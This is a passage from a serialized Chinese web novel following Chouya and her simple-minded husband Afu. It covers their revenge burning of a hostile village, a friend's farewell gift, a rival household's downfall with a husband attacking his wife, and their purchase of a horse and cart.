村民们气得跳脚,即使心中一万个不乐意,也只能看着阿福和丑丫策马而去。 突然间,人群中不知是谁多嘴了一句:“你们说他们不会对我们的家下手吧?” 一句话让人群炸开了锅,村民们哪里还有心思气恼,迈开腿不要命地往家里跑。 这种事情,真的像丑丫和傻子做得出来的! 丑丫和阿福进了村,路上他们顺走了一个火把,站在月光下看着村里密集的房屋,丑丫和阿福的嘴角都扬起一丝笑意。 烧了他们的家,那他们也别想有家了! 阿福取下一支背上背着的竹箭,在火把上裹了松油,点燃,然后拉弓射箭! 村里还有不少的茅草房,箭飞射到茅草房顶上,不一会儿便是一阵火光。 房屋在的密集,一间屋子烧起来了,另一间离被烧也不远了,为了让房子在村民们赶回来之前都能烧起来,阿福的火箭一支接一支地射。 点燃了全村,阿福带着丑丫策马奔腾,他们没去远的地方,而是往村头的山上走,站在山腰,看着山下变成火海的小村落。 隔着很远,还是可以听到村民们的哭嚎声。 丑丫满脸平静,心里没有多少的感觉,她甚至有些怀疑自己是不是太坏了,只有坏人才会这般麻木。 她也在想,她是不是太残忍,太狠了,可是想起他们对待她的过往种种,她的心软不下来。 看了一会儿火光冲天的场景,丑丫便觉得不想看了,她转身,抬头看着身边高大的男人:“阿福,我想我爹娘了。” 阿福牵起她有些冰凉的小手,捂在掌心里捂热,嘴边只有一个低沉的音节:“好。” 离天亮还早,两人走在山林里,不觉得害怕,到了坟地,借着月光看清那两个小土包,丑丫反倒觉得安心了不少。 她盘腿坐在坟前,才十六岁的她却老沉地叹了口气,絮絮叨叨自说自话。 “爹,娘,我们的家被烧没了” “我是不是很没用,连你们留给我唯一的东西都护不好” 她说了很久,语气平安又安静,像是在和长辈聊一件很小的小事,阿福也坐在她身旁,安安静静地陪着,她想说,他便听。 夜里落霜了,很冷,可丑丫却不知道她该去哪里,家烧没了,镇上宵禁,没有客栈会开门。 阿福怕她冷,一直搂着她,让他在自己怀里取暖。 丑丫看向了父母坟间的那个小凹槽,想到了多年前那个小小的她在这儿哭着睡了不知多少个夜晚。 第40章 我的娘子只能我一个人抱 大清早的,大娘搬着小凳子出门,已经做好准备要打长期战役! 现在镇上的角角落落都贴了张府和谢府的丑闻,她随便找个地方,小凳子一摆,大嗓门一吆喝,跟前马上就围满了看热闹的人。 “要说这谢家啊,还真是够不要脸的,当年谢员外靠着原配夫人的嫁妆发家,眼见日子好了,这谢员外居然背着夫人养外室,一养就是十多年” “那外室气死了正房还不够,还要将正房留下的唯一血脉都给弄死,怎么会有这么狠的心肠,这要是我儿媳,我不扇她两个大嘴巴子!” “谢家大小姐也真是可怜,被诬陷,找了证据去找亲爹告状,可亲爹居然不信她,还认为是她找人来陷害那个继室,这样的爹,简直是瞎了眼” 关于谢家的事,百姓们并不知道内情,现在听大娘这么说,连腿都走不动道了,聚精会神地听故事。 哟,原来这事儿背后有这么多弯弯绕绕呢,这些大户人家可真会玩,还是他们这些平头老百姓好,没有那么多花花肠子。 仅仅一上午的功夫,大娘剽悍的战斗力就让全镇的人都在议论这件事。 三人成虎,这些传言传着传着就变味了,丑丫一个早上就听到好多个版本的。 比如,谢员外的正房夫人根本不是病死的,而是被谢员外和外室给联手害死的,又比如,谢员外继室给他生的那两个孩子根本不是他亲生的,谢员外被戴了十多年的绿帽子。 版本五花八门,丑丫都要听不过来了,一早上边挣钱边听故事,心情美滋滋的。 下午,林婉婉和两个舅舅来小面摊上了。 林婉婉看着很是开心,比在谢府的时候还要光鲜亮丽,她照旧点了一碗面条,还给两个舅舅各点了一碗,让他们尝尝味道。 衣着华贵、气质不凡、风度翩翩的两个中年男人坐在简陋的小面摊上,看着很是不搭,引来大街上不少人注目。 林婉婉吃完一碗面,才面露不舍道:“小丫,我要跟我舅舅们去临安了,明天出发,我们以后很可能再也见不了面了。” 她与丑丫的相交的时间很短,但是从她身上,她学会了很多。 看着瘦瘦小小、不起眼的小姑娘,却有与她外貌完全不相符的勇敢和狠劲,有人欺负她,尽管对方有身份也有地位,或是个子比她高一个头,她都能毫不畏惧地还回去。 她教会了她,被欺负了不是只有哭和妥协这一种方法,还可以不要命地打回去,就算是死,也要咬下对方一块肉! 丑丫并不意外,林家两个舅舅都是临安的,林婉婉在这里又没了亲人,肯定会带她一起去临安的。 她笑着看她,语气欢快:“干嘛这种表情,去繁华的临安不应该开心吗?那里有疼爱你的亲人,有全新的生活,你应该笑着去迎接你的新生。” “把这里的人、这里的事都忘了,你是临安城的林婉婉,是被林家宠着护着的大小姐,这里的一切,不过是你的一个噩梦,噩梦嘛,该忘了就忘了,何必为了它惆怅,不值得。” 林婉婉搂住她,不争气地流下两行眼泪,随后又破涕为笑:“你才不是噩梦,你和阿福是我的美梦,我要记一辈子,谢谢你们,要不是有你们帮忙,这次我或许都撑不到舅舅们来寻我。” “舅舅们来了,先是知道娘亲去世的消息,然后又要来给我收尸,我都不敢想他们会有多难过,你和阿福是我的救星。” 丑丫也抱住她,眼睛很酸涩,但心里却是暖暖的,她何尝不是她的美梦。 她从小到大,遭遇的恶意太多,曾经,她也想要拥有一个能跟她说一会儿话的朋友,可没有,在那个闭塞狭小的村子里,她遇上的只有谩骂、嘲笑、嫌弃、欺负。 林婉婉是少有的对她施以善意、没有因她丑陋的面容,就对她有异样眼神的人。 两人紧紧地抱着,本是伤感的离别场面,可是林婉婉看到阿福那杀人一般的眼刀子一个一个往她身上飘时,绷不住了。 她扑哧笑了一声,故意挑衅的对着他挑了挑眉,把丑丫抱得更紧,凑近她耳边说悄悄话。 “你家阿福想杀我呢,那眼刀子都快要把我给凌迟了,教教我如何驯夫,我以后也要找阿福这么一个好看、听话又好玩儿的男人。” 丑丫哭笑不得:“没法教,阿福天生的。” 她的确没教过,阿福见她第一面时就叫她娘子,虽然只是个孩子心智,但却事事都为她着想,宠她、护她,除了天生的,她不知道该如何解释。 阿福见林婉婉居然挑衅他,更不满了! 她怎么可以抱他的娘子,娘子只能让他抱! 傻傻的阿福揪住丑丫的后衣领,像拎布娃娃一样将丑丫从林婉婉的怀抱中扯了出来,然后单手将丑丫给紧紧搂着,另一手叉腰,傲娇地看向林婉婉。 哼!娘子是他的,谁也抢不走! 丑丫细细的腰被他给紧紧地箍着,根本挣不脱,看向周围人投来的好奇、揶揄的目光,她的脸唰一下红了,低着头装鹌鹑。 林婉婉给阿福翻了一个大白眼:“小气鬼,我是一个女的,抱一抱你娘子怎么了?你还怕我把她给勾走了?” 阿福气哼哼:“你想抱就自己去找娘子,干嘛要来抱我娘子,我娘子只能我一个人抱,不仅要抱,还要和我睡一张床,睡一个被窝!” 听听这话,丑丫都要被臊死了。 这个大傻子不知道说这种话多让人尴尬吗? 她赶紧抬手捂住他的嘴,着急忙慌转移话题:“阿福,我们去收拾碗筷吧,你看那一桌的客人已经走了。” 阿福不满地低头看她,清澈的眼神里有委屈和疑惑,娘子干嘛不让他说话,他又没说错,哼,生气! 但就算生气,阿福还是听话地去收拾碗筷了,丑丫松了一口气,可周围人看她眼底的揶揄却一点都没少。 卖鞋大娘笑着打趣:“这傻小子这么护娘子,丫头你可要快点给他生一个小娃娃,他保准更护你!” 丑丫接不住这种话,拿了块抹布去擦桌子来掩饰自己的尴尬。 第41章 谢府的下场 林婉婉也不再逗阿福了,虽然逗这个大傻子挺有趣的。 她不着急离开,在面摊上和丑丫聊天。 “你家阿福是真的好看,我看这天下大概就只有一个人能和他媲美。” 丑丫忙活着,听到这话,疑惑抬头看向她,在她心里,阿福已经是最好看的人了,但她还是好奇能和他媲美的人有多好看。 提起这个人,林婉婉似乎有些激动,站起来,手舞足蹈,像个说书的。 “这人,当然得是当今四皇子,昱王殿下!” “传说中,昱王殿下面如冠玉、貌比潘安,更重要的是,他武艺高强,当年才十七八岁,就率领千军万马在战场上叱咤风云,打得外敌不敢再来进犯,还因此得了个战神的名号。” “而说起他的相貌,有书中写,敌国公主只看他一眼便误终身,不惜当叛国贼,被自己的父皇斩杀都要嫁给他!” 丑丫听着,觉得有些好笑,真有人会为了一个男人连命都不要吗? “那后来呢?王爷被公主感动,娶了她?” 林婉婉激动的双手画叉:“错!大错特错!据说是公主强烈示爱,昱王嫌其太烦,一剑将人给捅了,然后还将公主的国给灭了!” 丑丫:“” 这种结局是她没想到的,突然觉得那公主有点可怜,她为了他愿意当卖国贼,换来的是对方一剑透心凉? 林婉婉继续道:“这就要说到昱王的另一个传言了,传说昱王殿下残暴成性,喜怒无常,最喜欢干的事情就是砍人脑袋,开心也砍,不开心也砍,他的名声更是能止小儿啼,比鬼故事还管用!” 丑丫撇嘴:“那这样的人也太恐怖了,还是我家阿福好,我家阿福听话、乖巧、善良。” 林婉婉没眼看地啧舌:“是是是,你家阿福最好,你家阿福最棒,你家阿福天下第一棒!” 一旁的阿福听见娘子夸他,开心地咧嘴,白花花的牙都露出来了。 到了快要收摊之际,离去的两个林家舅舅又来了,手里拎了大包小包的东西。 林谦把礼品都放在桌上,礼貌客气地对丑丫道:“本该上门拜访的,但这几日琐事颇多被耽搁了,只能在这里对二位表示感激,略备薄礼还请收下。” 丑丫看了看摆满一桌的东西,糕点、布匹、粮食、肉,什么都有,备得很齐全,要说这是薄礼,那原谅是她没见识了。 “你们实在太客气了,不说我和阿福并没有帮上多少忙,我和婉婉是朋友,做这些也是应该的。” 林婉婉不让她推辞,直接将礼品都拎到他们的板车上了,事情都已经如此,丑丫还能如何,只能接受了这些一大堆礼物。 林婉婉要和两个舅舅离开了,离开前,她往丑丫的手里塞了一个小木盒,神神秘秘道:“我特地给你准备的礼物,现在不许打开,等你们回家了再看。” 丢下这句话,她随着两个舅舅走了,上了马车,还将头给探出来,笑眯眯地对着丑丫挥手。 丑丫抱着木盒,并不重,但她却感觉沉甸甸的,这是她收到的第一份来自朋友的礼物。 今此一别,或许就再也见不到了,保重,我第一个真正的朋友。 她在心里默默道别,直到看不见马车的踪影,才回神。 今天准备的东西依旧卖光了,两人收拾了摊位,再到镇上去逛一逛,买些好吃的,然后拉着板车一起回家。 谢府 谢志平骨折的手包扎着挂在脖子上,他瘫坐在椅子上,一杯接一杯喝酒,喝得烂醉如泥。 他这几天,连门都不敢出,老百姓都骂到府门口了,要是他踏出府门,说不定会像囚犯一样被扔烂菜叶子。 他想不通,他好好的日子怎么就变成这样了呢? 谢婉婉,不,现在是林婉婉,之前骂他的话一句一句在他耳边回荡。 她说,他眼瞎、心瞎,他迟早有一天要遭报应,难道真的是报应来了? 他一开始并不相信妻子会做陷害林婉婉那种事,她在他心里一直是那么完美、那么善良、那么纯洁。 可现在,他的滤镜破碎了,原来他当明珠一样宠着的女人真的不像他想的那样简单。 这一切都是她闹出来的,要不是她,他的府邸不会被闹得鸡飞狗跳,他也不会被打断了手,他也不会得罪了林家两个舅子。 林家,那可是在临安成都首屈一指的富户,他当年使劲手段将林娴哄到了手,本以为她会让娘家帮衬他一把,他也主动提起过这事多次,可是她居然不答应! 林娴是临安城的大家闺秀,总是端着她的小姐架子,根本不把他这个丈夫放在眼里,试图与他平起平坐,他怎么能让一个女人骑到自己头上! 在她面前,他觉得落了脸面,所以养了个外室,外室温柔小意,看他的眼神永远都是充满崇拜和儒慕,仿佛他是她的天,她只有他能依靠。 在林娴那里得不到的满足感,他在外室那里全都得到了,所以他一直将外室当眼珠子一样宠着,后来,他还给自己生了儿子,而林娴,生了个女儿后就再也没动静。 这么多年林家都不曾来找过这个外嫁的女儿,他以为他们早就放弃她了,可现在,他们居然找来了! 倘若他的妻子没作妖,林婉婉就不会跟他闹,那林家就还是他的岳家,他就能和他们攀上关系! 现在呢,他成了林家的仇人,自己的亲生女儿也和他断绝了关系,巴不得弄死他! 而除了林家,他也因为这件事惹上了张家! 张夫人和张明泽在谢府被打了个半死,有林家护着林婉婉和另外那两人,张府不敢动他们,就只能将气撒在他谢家身上。 他本来想和张家联姻,得到他们在生意上的帮扶,现在不仅把关系闹僵了,还结了仇,张家已经对他的生意下手了! 又喝完了一壶酒,他烦躁的将酒壶给摔碎在地上,他胡子拉碴、眼睛里布满血丝、酒臭满身,哪里还有从前那个风光的谢员外模样。 他突然对那个他宠极了的女人充满怨念,要不是她,他不会落到这个下场,都是她的错! 摇摇晃晃站起身,朝着后院走去,他要问那个女人,为什么要这样对他! 第42章 谢志平要掐死妻子 谢夫人赵心柔躺在床上养伤,林婉婉下了狠手,她现在想动一下都扯得伤口疼痛不已。 林家兄弟来接林婉婉的事情她已经听说了,她恨得夜不能寐,差点将自己的牙也给咬碎了,那小贱人为什么运气那么好,明明这次她可以弄死她的! 都怪香荷那贱婢,即使已经让人将她给乱棍打死了,她还是觉得不解恨! 不过林婉婉走了也好,走了就没有人再叫她姨娘来膈应她,她的存在,时时刻刻都在提醒她不过是谢府的一个继室! 只要她走了,她就是风光无限的谢府夫人! 至于老爷,这次将事情闹这么大,他肯定会生自己的气,但是她不担心,只要她轻言软语说几句好话,再掉几滴眼泪卖一下惨,他绝对会原谅自己,这么多年,她都是这样过来的。 她心里盘算着这些,突然砰一声巨响,她的房门被人从外面踹开了,一阵浓烈的酒气冲了进来,她不适地皱了皱鼻子。 她直不起身,也翻不了身,直挺挺地躺着,看不清谢志平此时的模样,但闻道那酒味,她就知道,他肯定是借酒消愁了。 她压低自己的声音,让自己显得很柔弱,但语气里却还是充满关怀:“老爷,您喝酒了吗?喝酒伤身体,您有烦恼和妾身说,不要憋在心里,不管发生什么,妾身都会一直陪着您的。” 谢志平听着这话,心里五味杂陈,这要是以往,他听到她这么说,一定会觉得她温柔贴心,可是现在,他只觉得难受。 为什么他会觉得这关心很虚伪,就像她这个人,虚伪至极! 倘若她在林婉婉找证人来对峙的时候就能承认事情的确是她做的,他不会这么生气,只会觉得她是一时糊涂,他会想办法来解决问题。 可是她不仅不承认,还利用他对她的信任惹怒林婉婉和另外那两人,将事情给闹大,得罪了张府,得罪了林家! 他没说话,一步一步走到床前,低头看着床上躺着的美艳女人。 赵心柔此时也才看清他的模样,胡子拉碴,满眼的红血丝,要杀人一般的表情,她被吓了一跳,心里直打鼓,她没想到他会如此生气。 她不过是犯了点小错误,至于吗? 她还给他生了一儿一女呢,现在林婉婉走了,她的孩子就是他唯一的寄托,他一定不会对自己怎么样! 她镇定下来,苍白着一张脸,却微微地笑着,有种破碎的美感,她想开口说几句贴心安慰人的话,但还没等她开口,谢志平就像发疯一般掀开了她的被子。 他一手扯过她的手臂,不管她的胸口还有伤,直接将她给扯了起来。 “啊!老爷你要干嘛,快放开妾身,妾身的伤口疼!” 她疼得脸都扭曲了,若说刚才是在装虚弱,那她现在是真虚弱,她能感觉到伤口又裂开了,血在往外面流。 但谢志平根本不听,他没受伤的那只手捏住她的肩膀,使出来自己最大的力气,将赵心柔捏得肩膀生疼。 “为什么要骗我?把我当傻子耍很好玩吗?” “你为什么要做这样的事?是我对你不好吗?你想要银子,想要买新衣服,想要买首饰,我哪样没满足你,你为什么还要这样做?” “现在得罪了张府,惹上了林家,你满意了?我的谢府完了,你高兴了?” 伤口裂开,鲜红的血液染红了赵心柔雪白的里衣,她此刻是真的慌了,她没想到谢志平会生这么大的气,也没想到后果会这么严重。 张家和林家也真是小气性,亏他们还是大家族,多大点事,就要这么对付谢家! 她知道的对付不过是听丫鬟来报的满大街传的风言风语,她觉得这就已经很过分了,这样传她、骂她,她以后还怎么出门?在她的那些贵妇姐妹们面前都抬不起头来了! 可是她不知道的是,除了这些,林家和张家还对谢家的生意动手了,张家拒绝了跟谢府的所有合作,林家给谢府的对家提供帮助,让他们打压谢家。 现在谢府的生意濒临破产,风光的谢员外府马上就要不复存在! 但是赵心柔还没意识到自己惹出来了多大个麻烦,正在绞尽脑汁地为自己开脱。 她哭得梨花带雨,再加上这病殃殃的虚弱面容,更加让人怜惜。 “老爷,妾身错了,妾身就是鬼迷心窍,一时糊涂,妾身看到婉婉就会想起姐姐,妾身吃醋,明明妾身和老爷是真心相爱,可是妾身却只能做一个被人唾弃的外室,一做就是十多年。” “妾身是被骂怕了,看到婉婉我就想起从前的生活,所以我才鬼迷心窍地动了心思,我就是想让老爷眼里只有我,只有渺渺和宏儿,我只是太爱老爷了!” 男人最喜欢听的话不过就是这些,一个女人会为了你昏了头,做出一些糊涂事,女人有什么错呢,她不过是太爱男人了。 谢志平从前就觉得让她做了十多年外室委屈了她,只要她这么说,他一定会消气。 但是这次,她错了! 谢志平的确宠她,爱她,心疼她为了他做了十多年外室,但是他更爱的、更关心的是他的权势、是他的地位、是他的金钱! 谢府繁荣,他的生意欣欣向荣,他才有心思去宠一个女人,现在他的家产被这个女人败光了,他如何还会对她有好脸色。 谢志平现在听赵心柔每说一句话就觉得恶心,他居然和这么个虚伪恶毒的女人同床共枕了十多年! 林婉婉说的没错,她就是个蛇蝎,他的报应来了,她是他的报应! 他此刻将所有怒火都倾注在赵心柔身上,全然忘了事情发展到这个地步,他也有一份责任,若不是他偏帮赵心柔,寒了林婉婉的心,何曾会是如今这种局面。 他被愤怒冲昏了头脑,抬手掐上赵心柔的脖子,眼神狠厉,像是要将她给掐死,而赵心柔,顾不得胸口的伤痛,双手去掰谢志平掐住她脖子的手。 谢志平一只手的力道终究没能抵过赵心柔的两只手,她尖利的指甲将他的手背挠出了一道道血口子。 逃脱钳制的她不停的大口吸气,一张脸都涨得通红,看向谢志平的眼神也有了恨意,他居然要杀自己! 曾经恩爱的夫妻俩就这样打起来了,一个醉酒,还断了一只手,一个胸口开了口子,都是伤残人士,谁也没从对方身上讨到好,打得头破血流。 第43章 给娘子买花裙子,娘子穿好看! 晚上 阿福和丑丫盘腿面对面坐在床上,中间放着一个木盒子,是丑丫的小金库。 里面有一小块一小块的碎银子,也有大半盒的铜板,哗啦啦一声将所有钱倒出来,两人又开始了数钱游戏。 铜板一个一个往盒子里丢,等铜钱积多了,就会发出清脆的哐啷声,丑丫爱极了这个声音,数着钱,眼底心里都是笑意。 等将钱数完,她就宝贝地抱起木盒子摇一摇,听听那扎实的声音,笑得更加的开心。 “阿福,我们一共有四十五两零六百七十二个铜板,我们是有钱人了!” 四十多两银子的有钱人,和那些地主老爷相比,这大概是最没钱的有钱人,但作为平头老百姓,这确实是一大笔巨款! 阿福看娘子笑,也跟着笑,憨憨地:“阿福会给娘子挣更多的钱,让娘子一直当有钱人!” 丑丫满足的点头,她不觉得阿福是为了哄她开心才说这样的话,相反,她知道,阿福说的每一句话都是真的,他会为了他说的话而努力。 “好,我和阿福一起努力,我们一起挣钱,一起过好日子!” 两人看着对方,都笑得很甜蜜,丑丫想起来下午林婉婉给她的木盒还没打开呢,忙将木盒给找了出来,和阿福脑袋凑在一起打开这个未知的惊喜。 木盒打开,里面的东西让丑丫瞪大了眼。 这是银票? 她长这么大,要不是遇上阿福,可能连十两一锭的银子都不曾摸过,更别说是银票了,只是在镇上见别人用过,大概知道长什么模样! 她将银票给拿了出来,只有一张,丑丫不识字,也没仔细见过银票,不知道这一张到底是多少面额的。 这一刻,她有些无奈,她知道林婉婉送他们银票是见他们生活条件不好,想帮他们。 也知道她将银票塞木盒里,还叮嘱她回到家才能打开,是怕她知道里面是银票会不收。 可她应该想不到,她送出的一张银票,到了她手里,她却连是多少面额的都不知道。 盯着银票,她的小脸皱成了一团,明天一大早林婉婉就和舅舅们出发了,她来不及去送她,这银票也还不回去了。 要是拿去钱庄换银子,老板看她什么都不懂,可能会宰她,这可如何是好? 正在她惆怅之际,一旁的阿福却拿过银票,开心道:“哇,娘子,五百两的银票,我们有好多好多钱了!” 丑丫的小身板直了起来,看着阿福:“阿福,你认得银票?” 阿福努力地想了想,什么都想不起来,但这银票他只看一眼就能认出,而且感觉很熟悉,应该是他从前经常用。 他摇摇头:“我也不知道,看到它,我就想来它是什么了。” 丑丫没再问,但对阿福的身世又有了猜测,他记不得从前的事,但是看到银票却轻而易举知道面额,可见他从前一定非富即贵。 她的心情有一瞬的低落,阿福的身份越高,他们之间的差距越大,等他哪天恢复了正常,离开她的可能性就越大。 只要想到阿福有可能离开她,她的心就像被针扎一样的难受。 但傻傻的阿福哪里知道她的这些顾虑,握着那张银票,笑呵呵地道:“明天去给娘子买新衣裳,红红的、花花的漂亮裙子,娘子穿好看!” 他见镇上的那些姑娘都是穿着颜色鲜亮,还绣了花朵的衣裙,而娘子穿的却是颜色暗淡的粗布衣裳,他也想娘子穿那样的花衣裳。 丑丫被他开心的话拉回神,那些忐忑暂且压在心底,也开心地笑起来:“好,我们买新衣裳,也给阿福买,阿福穿上新衣裳最好看了,还给阿福买好吃的。” “娘子也要买好吃的,你和阿福一起吃!” “嗯!” 丑丫重重地点头,看着阿福无忧无虑的样子可真好。 这一刻,她很感激林婉婉,她和阿福现在的日子已经比大多数人好了,不是那么迫切地需要钱,可是她送的这五百两,可以让她和阿福畅想一下未来,觉得日子更有奔头了。 丑丫已经想过很长一段时间要给家里买一头牛,用来拉车,让阿福不那么劳累,现在终于有了足够的银钱,她带着阿福去了镇上专卖牛马的牲口市场。 刚进市场,就有一股扑鼻而来的屎尿味儿,牛、马、驴子、骡子都有,丑丫是不懂这些牲口的,只能挑随眼缘,看着健壮的。 前方有不少人围着一头牛在打量,她好奇,也拉着阿福过去看,只见被众人围着的是一头母牛,个头比市场里的其他牛都要大一圈。 主人养得也好,毛皮油光水滑的,很健壮,但要价也高,正有倒卖贩子在和主人讲价,主人一口咬定要三十两银子。 他说这头牛刚配过种,肚子里大概率已经有了小牛,价格要高一些,这个价格说不定买到的就是两头牛。 倒卖贩子很心动,但就是价格太高,普通的牛也就十多两一头,这头牛品相再好二十两左右也能拿下,他不敢用十两去赌一头不知道有没有怀上的小牛。 丑丫看了一会儿,看着这头大牛也很心动,这是市场里长得最好的一头了,但就是价格太高了点,她舍不得银子。 她看得认真,想问一下阿福的意见,可回头,却发现站在她身后的人不见了! 顿时,她心漏跳了一拍,慌忙地冲出人群,环顾四周寻找阿福的身影,等在一个不起眼的位置发现阿福修长高大的身影时,她才长长地舒了一口气,然后快步跑到他身边。 到了阿福身边,她拉起阿福的大手,不轻不重地拍了他的手背一巴掌,埋怨道:“阿福,你怎么能乱跑呢,吓死我了,不是说过去哪儿之前,一定要提前告诉我的吗?” 她还想唠叨两句,阿福却转头看她,将食指抵在唇边,做一个噤声的动作:“嘘,娘子,不说话,看马。” 丑丫住了嘴,这才注意到阿福跟前的这匹瘦马,马的骨架子很大,但却瘦成了皮包骨,看着不是很精神,像一头病马。 第44章 阿福坚持要买马 她连牛都不了解,更别提马了。 农村人大多数养牛和驴子,牛能拉车,能犁地,用处多,驴子能拉磨、能驮东西,价格便宜,至于马,除了能跑,对于农村人的用处不如前两者。 此刻看着眼前的马,她除了可以看出是一匹不太健康的瘦马以外,再也看不出其他。 但阿福却看得很认真,一言不发,但那眼神里充满了严肃,他从前面看看,再从后面看看,还蹲下看看马的四蹄,又上手摸一摸。 等将瘦马给看了个遍,他转过头来看着丑丫,绽放一个大大的笑容:“娘子,我们买这匹马好不好?” “啊啊?” 丑丫愣住了,她都没弄清楚怎么回事儿,怎么就要买这匹瘦马了? 而且马的价格比牛贵,就算这是一匹瘦马,价格估计也不便宜。 卖马的小贩等得都要打瞌睡了,他这匹马的确品相不佳,卖了好几天了,都没一个人来看,今天突然有人来看马来,还说要买马,一下子将他所有的瞌睡虫都给赶跑了! “两位客官要买马?你们可算来对地方了,我这马便宜,只要三十两,这市面上的马就算再差的,没有五十两也买不下来,要是品相稍微好点的,能上百两呢!” “要不是我这马瘦了点,我是真舍不得卖三十两,二位别再犹豫了,过了这村,可就没这店了!” 小贩是真怕两个冤大头跑了,赶紧说明价格,这匹马再养在他手里,估计不多久就要养死了,得赶紧转手出去,多少挣点银子。 说来这匹马也是奇怪,也没见它生什么大病,可就是养不胖,还越养越瘦,现在就剩一骨头架子了,亏得有冤大头还愿意来看。 丑丫自然没错过小贩眼底算计的精光,她猜想这匹马应该是有问题,他才这么着急想把马卖出去。 她拽了拽阿福,压低声音道:“阿福,要不我们过去看看那边的那头牛,那头牛长得好,比这匹马好看。” 那头牛不仅长得壮,肚子里说不定还有小牛,都是三十两,她与其花钱买一匹有病的瘦马。还不如买那头牛呢。 可阿福却站在原地不动,眼神直勾勾盯在马身上,难得的固执:“买马,这匹马好!” 丑丫看向阿福,见他神色很认真,很笃定,莫名地就相信他,阿福那么神秘,说不定他之前就会相马呢? 而且,就算不会相马又如何,阿福难得这么坚持地想买一样东西,以往都是他无条件依着她,这次应该换她来才对。 卖马的小贩都要乐死了,他还说眼前这个如此俊俏的男人为何要买他的这匹瘦马,等仔细听他说几句话,他察觉出了其中的问题。 原来这是一傻子! 傻子好啊,傻子好骗,而且看这傻子的娘子还挺听他话的。 于是,他更加热情地忽悠:“这位相公说的没错,我这匹马是真的好,别看它现在瘦,你们回去好草好料地伺候着,保准长得好,看这大体格子,别家的马可比不上!” 丑丫不想搭理他这些自卖自夸的话,别以为她听不出他话里的小心思,不就是怕生意黄了,赶紧催着她买吗? 买是要买的,但不能是这个价格! 她看着小贩,微微仰头,让自己显得有气势。 “我也不是不识货的人,你不要在我这里打小算盘,这匹马根本不值三十两,这样吧,我出二十八两,你再给我配一两马车,要是你觉得划不来,那我们也没有谈下去的必要了。” 小贩嘶了一声,这小娘子讲价是真的狠呐,一下子就压了那么多价,一辆最便宜的马车也要二三两银子,她这是等于一下子压了他四五两银子呢! 他有些肉疼,就算他的马再差,但好歹也是匹马啊! “小娘子,你看这样行不行,三十两,我给您配一辆马车,二十八两太少了。” 丑丫油盐不进:“就二十八两,你想想看,除了我们,谁还会买你这匹没用的瘦马,过了这个村,就没这个店了!” 小贩一噎,这是用他刚才的话来堵他呢! 他犹豫之际,就见不远处刚才在看牛的人都朝他们这边走来了,他们就是好奇,想看看是什么人要买那匹几天都没卖出去的瘦马,这不是眼瞎胡闹嘛! 三十两的牛生意没谈成,牛主人也跟着过来凑热闹了,顺便看看能不能给自己拉个客。 众人围过来,问清这匹没人要的马居然要卖三十两银子时,都吸了一口气,这年头的人,是钱多了没地儿花?没地花可以给他们啊,他们帮忙花啊! 牛主人听到这匹瘦马居然和他的大壮牛卖一个价,也觉得这匹马不值那个价。 他打量了几眼阿福,见他长得俊美非凡,气度不凡,应该是家里主事儿的,便挤出一脸笑容。 “小兄弟,你要不要去看看我那头牛,长得壮,品相好,最主要肚子里应该是有小牛了,也只要三十两,比这马划算!” “再说了,庄稼人,买马除了拉车就没用处了,牛还能犁地耕田呢!” 牛老板说了一大串,满脸期待的等着阿福回话,却见阿福挪了挪脚步,站到丑丫身后,不说话。 他不要买牛,要买马,那匹马是一匹好马! 丑丫失笑,拍了怕阿福的胳膊安抚,然后对牛老板笑了笑,也没说话。 她不可能笃定的告诉他他们不买牛,这样的话卖马的小贩就更加有恃无恐,价格就讲不下来了。 她要用牛老板给小贩施压,让他有危机感,失去她这个顾客,估计就没人会买他的马了。 而小贩见牛老板来捣乱,的确急了,他着急赶人:“走走走!卖你的牛去,怎么还跑这儿来抢我客人了呢!” “小娘子,就按你刚才说的,二十八两,我再给你配一辆马车!” 虽然肉疼,但是不答应不行啊,是个脑子清醒的就不会买他的马,得多亏那傻相公,要是他们被牛老板给忽悠过去了,他的马就真要砸手里了! 丑丫心里乐开花,但面上却不显,挺着胸膛微微点头:“行,就这么说定了!” 围观群众唏嘘一声,为他们感到不值,牛老板更是气得跺脚,只有丑丫和阿福乐在其中。 阿福高兴是因为买成了马,而丑丫高兴是因为阿福高兴。 当然,喜滋滋的还有卖马的小贩,在他眼里,遇上了两个冤大头,能不乐开花吗? 第45章 祭拜爹娘 丑丫给小贩拿了二十八两银子,小贩到货行里去买了一辆最便宜的马车,帮忙将马车给套上,丑丫和阿福拥有了属于他们的第一辆马车。 丑丫不会赶马,但是阿福会,尽管他想不起以前的事,可一碰到马鞭和缰绳,他就能十分熟练地上手。 有了拉车的马,丑丫买了不少东西,给阿福和自己都各买了两匹布,还买了一大袋棉花,再过一两个月天就冷了,得提前把过冬的棉衣给做起来。 林家舅舅送他们的布料都是些贵重的布匹,他们两个村里人穿出去太打眼,只能压箱底放着。 丑丫的衣裳布料是阿福挑的,一匹桃红色的,一匹鹅黄色的,他说娘子穿这种颜色的好看,还要在上面绣上一些小花,这样娘子就像镇上的那些姑娘一样了。 丑丫其实想买颜色深一些的布料,耐脏,粉嫩嫩的衣料,她哪儿舍得穿出门去干活,但是布料是阿福给她挑的,她又怎么会拒绝。 除了布匹,还买了两床新棉被,一床厚的,冬天盖,一床薄的,天热的时候盖,家里的被褥虽然洗得很干净,但已经有些年头了,摸上去发硬,灰扑扑的。 买够了东西,丑丫和阿福回家,丑丫坐在马车里,阿福在前面赶车。 第一次坐马车,还是属于他们自己的马车,丑丫很兴奋,在车里这儿摸摸,那儿瞧瞧,还坐到入口处和阿福聊天。 阿福的眼光很好,这匹马虽然看着瘦得只剩下一个骨架子,但力气还挺大的,拉着车,走得一点都不吃力。 两人回到村里,马车引来了不少村民围观,村里很少见马车,能用得上马车的人家都是有钱的,出于羡慕好奇的心理,村里来了马车,他们都会凑近看一看。 但今日这马车不得了,赶车的居然是丑丫家的那个傻子! 难不成丑八怪和傻子暴富了?都能买得起马车了? 不可能!他们那么辛苦地种地都没能买得起马车,丑八怪一个连地都没一亩的丫头片子怎么可能会有钱! 嫉妒使人丑陋,他们远远地看着马车上那个酷似阿福的赶马人,心里祈祷着一定不要是丑八怪家的傻子。 但是事情就是朝着他们最不期望的那个方向发展,马车驶近了,那个赶马人不是阿福还能是谁! 他们脸色都沉了下来,死死盯着那辆马车,这么好的马车,怎么就不能是他们的呢? 有人还抱着最后的期待,心里的不甘让他问出口:“喂!傻子,这马车哪儿来的?不会是你们租的吧?” 他在心里不停地安慰自己,一定是租的,一定是租的,丑八怪那个连饭都吃不起的灾星和这个傻子,怎么可能买得起马车!怎么配拥有马车! 